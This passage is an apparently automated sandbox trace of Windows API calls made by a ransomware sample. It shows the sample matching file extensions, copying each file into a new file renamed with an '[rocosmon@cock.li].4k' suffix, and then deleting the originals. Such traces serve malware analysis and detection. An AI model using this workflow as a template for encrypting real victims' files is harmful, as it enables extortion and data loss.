	[0093.464] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.464] lstrlenW (lpString=".zip") returned 4
	[0093.464] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.464] lstrlenW (lpString=".rar") returned 4
	[0093.464] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.464] lstrlenW (lpString=".bz2") returned 4
	[0093.464] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.464] lstrlenW (lpString=".7z") returned 3
	[0093.464] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.464] lstrlenW (lpString=".dbf") returned 4
	[0093.464] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.464] lstrlenW (lpString=".1cd") returned 4
	[0093.464] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0093.464] lstrlenW (lpString=".jpg") returned 4
	[0093.464] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.464] lstrcmpiW (lpString1=".JPG", lpString2=".4k") returned 1
	[0093.464] lstrlenW (lpString="MS.JPG") returned 6
	[0093.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8
	[0094.417] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1061) returned 1
	[0094.417] CloseHandle (hObject=0x1c8) returned 1
	[0094.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20
	[0094.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8
	[0094.418] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.418] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc
	[0094.418] GetLastError () returned 0x0
	[0094.418] ReadFile (in: hFile=0x1c8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x425, lpOverlapped=0x0) returned 1
	[0094.449] WriteFile (in: hFile=0x1cc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x430, lpOverlapped=0x0) returned 1
	[0094.450] ReadFile (in: hFile=0x1c8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0094.450] WriteFile (in: hFile=0x1cc, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0094.450] SetEndOfFile (hFile=0x1cc) returned 1
	[0094.450] CloseHandle (hObject=0x1cc) returned 1
	[0094.451] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.451] SetEndOfFile (hFile=0x1c8) returned 1
	[0094.452] CloseHandle (hObject=0x1c8) returned 1
	[0094.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0094.452] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1
	[0094.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.452] lstrlenW (lpString=".doc") returned 4
	[0094.452] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0094.453] lstrlenW (lpString=".docx") returned 5
	[0094.453] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1
	[0094.453] lstrlenW (lpString=".pdf") returned 4
	[0094.453] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0094.453] lstrlenW (lpString=".xls") returned 4
	[0094.453] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0094.453] lstrlenW (lpString=".xlsx") returned 5
	[0094.453] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1
	[0094.453] lstrlenW (lpString=".ppt") returned 4
	[0094.453] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0094.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.453] lstrlenW (lpString=".zip") returned 4
	[0094.453] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0094.453] lstrlenW (lpString=".rar") returned 4
	[0094.453] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0094.453] lstrlenW (lpString=".bz2") returned 4
	[0094.453] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0094.453] lstrlenW (lpString=".7z") returned 3
	[0094.453] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0094.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.453] lstrlenW (lpString=".dbf") returned 4
	[0094.453] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0094.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.453] lstrlenW (lpString=".1cd") returned 4
	[0094.453] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0094.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.453] lstrlenW (lpString=".jpg") returned 4
	[0094.453] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0094.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.454] lstrlenW (lpString=".doc") returned 4
	[0094.454] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0094.454] lstrlenW (lpString=".docx") returned 5
	[0094.454] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1
	[0094.454] lstrlenW (lpString=".pdf") returned 4
	[0094.454] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0094.454] lstrlenW (lpString=".xls") returned 4
	[0094.454] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0094.454] lstrlenW (lpString=".xlsx") returned 5
	[0094.454] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1
	[0094.454] lstrlenW (lpString=".ppt") returned 4
	[0094.454] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0094.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.454] lstrlenW (lpString=".zip") returned 4
	[0094.454] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0094.454] lstrlenW (lpString=".rar") returned 4
	[0094.454] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0094.454] lstrlenW (lpString=".bz2") returned 4
	[0094.454] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0094.454] lstrlenW (lpString=".7z") returned 3
	[0094.454] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0094.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.454] lstrlenW (lpString=".dbf") returned 4
	[0094.454] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0094.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.455] lstrlenW (lpString=".1cd") returned 4
	[0094.455] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0094.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61
	[0094.455] lstrlenW (lpString=".jpg") returned 4
	[0094.455] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0094.455] lstrcmpiW (lpString1=".avi", lpString2=".4k") returned 1
	[0094.455] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0094.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8
	[0094.455] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1600388) returned 1
	[0094.455] CloseHandle (hObject=0x1c8) returned 1
	[0094.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20
	[0094.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0
	[0094.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.456] lstrlenW (lpString=".doc") returned 4
	[0094.456] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0094.456] lstrlenW (lpString=".docx") returned 5
	[0094.456] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0094.456] lstrlenW (lpString=".pdf") returned 4
	[0094.456] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0094.456] lstrlenW (lpString=".xls") returned 4
	[0094.456] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0094.456] lstrlenW (lpString=".xlsx") returned 5
	[0094.456] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0094.456] lstrlenW (lpString=".ppt") returned 4
	[0094.456] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0094.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.456] lstrlenW (lpString=".zip") returned 4
	[0094.456] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0094.456] lstrlenW (lpString=".rar") returned 4
	[0094.457] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0094.457] lstrlenW (lpString=".bz2") returned 4
	[0094.457] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0094.457] lstrlenW (lpString=".7z") returned 3
	[0094.457] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0094.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.457] lstrlenW (lpString=".dbf") returned 4
	[0094.457] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0094.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.457] lstrlenW (lpString=".1cd") returned 4
	[0094.457] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0094.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.457] lstrlenW (lpString=".jpg") returned 4
	[0094.457] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0094.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.457] lstrlenW (lpString=".doc") returned 4
	[0094.457] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0094.457] lstrlenW (lpString=".docx") returned 5
	[0094.457] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0094.457] lstrlenW (lpString=".pdf") returned 4
	[0094.457] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0094.457] lstrlenW (lpString=".xls") returned 4
	[0094.457] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0094.457] lstrlenW (lpString=".xlsx") returned 5
	[0094.457] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0094.458] lstrlenW (lpString=".ppt") returned 4
	[0094.458] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0094.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.458] lstrlenW (lpString=".zip") returned 4
	[0094.458] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0094.458] lstrlenW (lpString=".rar") returned 4
	[0094.458] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0094.458] lstrlenW (lpString=".bz2") returned 4
	[0094.458] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0094.458] lstrlenW (lpString=".7z") returned 3
	[0094.458] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0094.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.458] lstrlenW (lpString=".dbf") returned 4
	[0094.458] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0094.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.458] lstrlenW (lpString=".1cd") returned 4
	[0094.458] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0094.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69
	[0094.458] lstrlenW (lpString=".jpg") returned 4
	[0094.458] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0094.459] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0094.459] lstrlenW (lpString="auxbase.xml") returned 11
	[0094.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0094.466] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1434) returned 1
	[0094.466] CloseHandle (hObject=0x178) returned 1
	[0094.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20
	[0094.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.467] lstrlenW (lpString=".doc") returned 4
	[0094.467] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.467] lstrlenW (lpString=".docx") returned 5
	[0094.467] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0094.467] lstrlenW (lpString=".pdf") returned 4
	[0094.467] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.467] lstrlenW (lpString=".xls") returned 4
	[0094.467] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.467] lstrlenW (lpString=".xlsx") returned 5
	[0094.467] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0094.467] lstrlenW (lpString=".ppt") returned 4
	[0094.467] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.467] lstrlenW (lpString=".zip") returned 4
	[0094.467] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.467] lstrlenW (lpString=".rar") returned 4
	[0094.467] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.467] lstrlenW (lpString=".bz2") returned 4
	[0094.467] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.467] lstrlenW (lpString=".7z") returned 3
	[0094.467] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.467] lstrlenW (lpString=".dbf") returned 4
	[0094.467] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.467] lstrlenW (lpString=".1cd") returned 4
	[0094.467] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.468] lstrlenW (lpString=".jpg") returned 4
	[0094.468] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.468] lstrlenW (lpString=".doc") returned 4
	[0094.468] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.468] lstrlenW (lpString=".docx") returned 5
	[0094.468] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0094.468] lstrlenW (lpString=".pdf") returned 4
	[0094.468] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.468] lstrlenW (lpString=".xls") returned 4
	[0094.468] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.468] lstrlenW (lpString=".xlsx") returned 5
	[0094.468] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0094.468] lstrlenW (lpString=".ppt") returned 4
	[0094.468] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.468] lstrlenW (lpString=".zip") returned 4
	[0094.468] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.468] lstrlenW (lpString=".rar") returned 4
	[0094.468] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.468] lstrlenW (lpString=".bz2") returned 4
	[0094.468] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.468] lstrlenW (lpString=".7z") returned 3
	[0094.468] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.468] lstrlenW (lpString=".dbf") returned 4
	[0094.468] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.469] lstrlenW (lpString=".1cd") returned 4
	[0094.469] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0094.469] lstrlenW (lpString=".jpg") returned 4
	[0094.469] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.469] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0094.469] lstrlenW (lpString="auxpad.xml") returned 10
	[0094.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0094.475] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=212) returned 1
	[0094.475] CloseHandle (hObject=0x190) returned 1
	[0094.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20
	[0094.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.476] lstrlenW (lpString=".doc") returned 4
	[0094.476] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0094.476] lstrlenW (lpString=".docx") returned 5
	[0094.476] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0094.476] lstrlenW (lpString=".pdf") returned 4
	[0094.476] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0094.476] lstrlenW (lpString=".xls") returned 4
	[0094.476] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0094.476] lstrlenW (lpString=".xlsx") returned 5
	[0094.476] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0094.476] lstrlenW (lpString=".ppt") returned 4
	[0094.476] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0094.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.476] lstrlenW (lpString=".zip") returned 4
	[0094.476] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0094.476] lstrlenW (lpString=".rar") returned 4
	[0094.476] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0094.476] lstrlenW (lpString=".bz2") returned 4
	[0094.476] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0094.477] lstrlenW (lpString=".7z") returned 3
	[0094.477] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0094.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.477] lstrlenW (lpString=".dbf") returned 4
	[0094.477] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0094.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.477] lstrlenW (lpString=".1cd") returned 4
	[0094.477] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0094.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0094.477] lstrlenW (lpString=".jpg") returned 4
	[0094.477] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0094.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
